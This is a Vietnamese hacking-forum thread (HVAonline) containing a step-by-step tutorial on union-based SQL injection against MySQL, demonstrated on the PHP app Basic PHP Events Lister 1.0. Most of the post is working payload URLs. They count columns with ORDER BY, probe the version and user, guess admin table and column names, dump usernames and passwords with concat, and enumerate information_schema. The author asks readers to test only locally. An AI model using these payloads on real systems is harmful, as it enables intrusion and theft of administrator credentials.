HVAonline
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

HVAonline

Security, Designing, Hacking, Programming
 
Trang ChínhLatest imagesTìm kiếmĐăng kýĐăng Nhập
Tìm kiếm
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Xác định định dạng dữ liệu
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeFri Jul 10, 2015 7:02 pm by tran quang huy

» Compra Viagra. viagra generico catalogo
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeThu Aug 04, 2011 1:25 pm by Khách viếng thăm

» Compra Viagra. viagra generico all estero
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeThu Aug 04, 2011 11:55 am by Khách viếng thăm

» real time gaming online casinos
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeWed Aug 03, 2011 8:11 pm by Khách viếng thăm

» Why wont my phone lt me use GIF images?
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeWed Aug 03, 2011 7:34 pm by Khách viếng thăm

» fish oil dietary supplement
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeWed Aug 03, 2011 9:44 am by Khách viếng thăm

» How do i turn on cookies on .my headset?
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeTue Aug 02, 2011 10:25 pm by Khách viếng thăm

» гинекология грибы
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeMon Aug 01, 2011 10:33 pm by Khách viếng thăm

» backlink popularity backlink services
Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeMon Aug 01, 2011 3:34 pm by Khách viếng thăm

Top posters
conmale
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
quanta
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
seamoun
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
mrro
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
quanlytruong
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
mulan
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
TranVanMinh
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
Z0rr0
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
zeno
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
WinDak
Hướng dẫn khai thác SQL Injection đối với MySQL EmptyHướng dẫn khai thác SQL Injection đối với MySQL I_voting_barHướng dẫn khai thác SQL Injection đối với MySQL Empty 
Thống Kê
Hiện có 4 người đang truy cập Diễn Đàn, gồm: 0 Thành viên, 0 Thành viên ẩn danh và 4 Khách viếng thăm

Không

Số người truy cập cùng lúc nhiều nhất là 64 người, vào ngày Sun Oct 13, 2024 2:44 am

 

 Hướng dẫn khai thác SQL Injection đối với MySQL

Go down 
Tác giảThông điệp
seamoun




Tổng số bài gửi : 17
Join date : 27/09/2010

Hướng dẫn khai thác SQL Injection đối với MySQL Empty
Bài gửiTiêu đề: Hướng dẫn khai thác SQL Injection đối với MySQL   Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeTue Sep 28, 2010 1:15 pm

I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL
Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0

Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1
Thực hiện thêm dấu ' sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1'
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau:

Code:

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37

Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì?
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau.
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được).
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường.

Lần lượt mình thử:
Code:

http://seamoun.com/phpevents/event.php?id=1 order by 1
http://seamoun.com/phpevents/event.php?id=1 order by 2
http://seamoun.com/phpevents/event.php?id=1 order by 3
...

http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)
http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)

Như vậy truy vấn SQL với URL trên là 15 trường (field)
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau
Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1

http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1


Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như
manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau:

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được.
Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu

http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với
2 trường uname và pword + tên bảng là admin
Thực hiện lệnh:

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.

Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass

Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword.
0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi

Đến đây ta đã có thông tin uname và pword.
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau

Code:

Điều tra thông tin bảng:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns

Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin

II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com)
Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL - Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.
Về Đầu Trang Go down
seamoun




Tổng số bài gửi : 17
Join date : 27/09/2010

Hướng dẫn khai thác SQL Injection đối với MySQL Empty
Bài gửiTiêu đề: Re: Hướng dẫn khai thác SQL Injection đối với MySQL   Hướng dẫn khai thác SQL Injection đối với MySQL I_icon_minitimeTue Sep 28, 2010 1:16 pm

Trên milw0rm có bài viết (Introduction to SQL injection - gửi ngày 2008-09-28) : http://milw0rm.com/papers/225. Có giới thiệu thêm một số hàm và một số phương thức có thể lấy thông tin về table, column như sử dụng group_concat, ...
Các bạn có thể đọc thêm để tham khảo
Về Đầu Trang Go down
 
Hướng dẫn khai thác SQL Injection đối với MySQL
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Khai thác và phòng chống file upload trong PHP Web Applications
» Mỗi tuần một tiện ích
» Hướng dẫn sử dụng NetCat
» Hướng dẫn sử dụng mã BBCode khi gửi bài
» II: Các thắc mắc thường gặp về việc gởi bài:

Permissions in this forum:Bạn không có quyền trả lời bài viết
HVAonline :: Bảo mật và thâm nhập :: Thảo luận thâm nhập-
Chuyển đến